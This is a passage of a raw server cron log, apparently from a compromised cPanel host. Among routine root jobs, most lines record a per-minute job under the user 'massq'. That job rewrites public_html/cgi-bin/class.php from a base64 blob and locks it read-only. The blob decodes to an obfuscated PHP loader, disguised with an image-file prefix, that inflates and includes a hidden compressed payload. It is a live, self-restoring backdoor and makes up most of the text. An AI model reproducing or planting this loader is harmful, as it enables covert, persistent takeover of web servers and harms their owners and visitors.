RfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:59:01 server CROND[23474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:00:01 server CROND[23535]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 05:00:01 server CROND[23536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:00:01 server CROND[23534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:00:01 server CROND[23537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:01:01 server CROND[23654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:01:01 server CROND[23655]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 05:01:01 server run-parts(/etc/cron.hourly)[23655]: starting 0anacron
Apr  9 05:01:01 server run-parts(/etc/cron.hourly)[23668]: finished 0anacron
Apr  9 05:02:01 server CROND[23729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:03:01 server CROND[23791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:04:01 server CROND[23943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:05:01 server CROND[24023]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 05:05:01 server CROND[24024]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:05:01 server CROND[24026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:05:01 server CROND[24027]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 05:05:01 server CROND[24028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:06:01 server CROND[24149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:07:01 server CROND[24213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:08:01 server CROND[24272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:09:01 server CROND[24334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:09:01 server CROND[24335]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 05:10:01 server CROND[24508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:10:01 server CROND[24509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 05:10:01 server CROND[24510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 05:10:01 server CROND[24511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 05:11:01 server CROND[24633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 05:12:01 server CROND[24698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
